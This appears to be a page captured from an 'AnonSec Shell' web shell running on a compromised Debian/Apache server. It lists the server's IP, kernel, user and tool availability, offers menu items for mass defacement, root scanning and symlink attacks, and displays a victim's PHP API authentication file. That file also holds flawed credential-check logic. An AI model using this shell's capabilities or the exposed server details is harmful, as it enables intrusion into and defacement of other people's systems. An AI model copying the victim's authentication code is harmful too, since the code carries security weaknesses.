AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/apiModule/presenters/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/apiModule/presenters/ApiAdminPresenter.php

<?php

namespace App\apiModule\Presenters;

use App\Presenters\BasePresenter;
use Nette;
use Nette\Application;
use Nette\Http;
use Nette\Security\AuthenticationException;

abstract class ApiAdminPresenter extends BasePresenter
{

    protected $database;

    /** @var array*/
    protected $data;
    /** @var int statusCode*/
    protected $code;
    /**@var int expiration in second*/
    protected $expiration;
    /**@var string default json*/
    protected $contentType;

    private $httpRequest;

    private $id;
    private $email;
    private $token;

    private $clientReq = "
        id,
        email,
        bonus_program,
        bonus_points,
        name,
        surname,
        salesman,
        price_profile,
        course_default,
        country,
        user_group_id,
        prefix,
        company
    ";

    private $adminReq = "id,username,role";

    public function __construct(Nette\Database\Context $database)
    {
        parent::__construct();
        $this->database = $database;
    }

    protected function startup()
    {
        parent::startup();
        $this->httpRequest = $this->getHttpRequest();

        if ($this->httpRequest->isMethod('GET') || $this->httpRequest->isMethod('POST')) {
            $id = $this->httpRequest->getHeader('id');
            $email = $this->httpRequest->getHeader('email');
            $token = $this->httpRequest->getHeader('token');

            if (empty($id) || empty($email) || empty($token) || !$this->authentication($id, $email, $token)) {
                $this->apiResponse(['error'=> 'unauthorized access'],403);
            }
        } else {
            $this->apiResponse(['error'=> 'not found'],404);
        }
    }

    //is token exists in table client
    public function authentication($id, $email, $token)
    {
        $user = $this->getApiUser($id, $email, $token);

        if (empty($user)) {
            return false;
        }
        /*
        try {
            $this->user->login($user);
            $this->user->setExpiration(60, TRUE);
        } catch (\Nette\Security\AuthenticationException $e) {
            return false;
        }
        */

        $this->id = $id;
        $this->email = $email;
        $this->token = $token;

        return true;
    }

    public function getApiUser($id, $email, $token)
    {
        $userData = $this->getUserData($id, $email, $token);
        $userIdentity = false;

        if(is_array($userData["admin"]) && count($userData["admin"]) > 1){
            $userIdentity["id"]["administrator"] = $userData["admin"]["id"];
            $userIdentity["role"][] = "administrator";
            $userIdentity["data"]["administrator"] = $userData["admin"];
        }

        return new Nette\Security\Identity($userIdentity["id"], $userIdentity["role"], $userIdentity["data"]);
    }

    private function getUserData($id, $email, $token) {
        $adminRow = $this->getAdminData($id, $email);
        $clientRow = $this->getClientData($email, $token);

        if ($adminRow == false) {
            $this->apiResponse(['error'=> 'headers are false'],400);
        }
        if ($adminRow == false) {
            $adminRow = null;
        } else {
            $adminRow = $adminRow->toArray();
        }
        if ($clientRow == false) {
            $clientRow = null;
        } else {
            $clientRow = $clientRow->toArray();
        }


        return array("admin" => $adminRow, "client" => $clientRow);
    }

    /**
     * @param $token
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getClientData($email, $token) {
        return $this->database->table("client")->select($this->clientReq)->where('api_token', $email)->where('api_token', $token)->where('is_active', 1)->fetch();
    }

    /**
     * @param $id
     * @param $email
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getAdminData($id, $email) {
        return $this->database->table("administrator")->select($this->adminReq)->where('id', $id)->where('username', $email)->fetch();
    }

//    public function unauthorizeMessage()
//    {
//        return BasePresenter::getLanguage("vas-dotaz-byl-odmitnut");
//    }

    public function apiSetResponse(Http\IRequest $httpRequest, Http\IResponse $httpResponse)
    {
        $httpResponse->setContentType($this->contentType);
        $httpResponse->setCode($this->code);
        $httpResponse->setExpiration($this->expiration);
        $httpResponse->setHeader('Pragma', $this->expiration ? 'cache': 'no-cache');
    }
    /**
     * @param $data , format = array
     * @param $code , type = integer
     * @parem $expiration , type = int(seconds)
     * @param $contentType , type = string
     * @throws Application\AbortException
     * @return Application\Responses\JsonResponse
     */
    public function apiResponse($data = [],$code = 200,$expiration = null,$contentType = 'application/json; charset=utf-8') {
        $this->data = $data;
        $this->code = $code;
        $this->contentType = $contentType;
        $this->expiration = $expiration;
        $this->apiSetResponse($this->getHttpRequest(),$this->getHttpResponse());
        $this->sendResponse(new Application\Responses\JsonResponse($this->data));

        return json_encode(['message'=>'']);
    }

    public function getHttpLanguage() {
        $language = $this->httpRequest->getHeader('accept-language');

        if (isset($language)) {
            return $language;
        }

        return "";
    }

    public function getHttpProductCode() {
        $productCode = $this->httpRequest->getHeader('accept-code');

        if (isset($productCode)) {
            return $productCode;
        }

        return "";
    }

    public function getId() {
        return $this->id;
    }

    public function getEmail() {
        return $this->email;
    }

    public function getToken() {
        return $this->token;
    }

}

Anon7 - 2022
AnonSec Team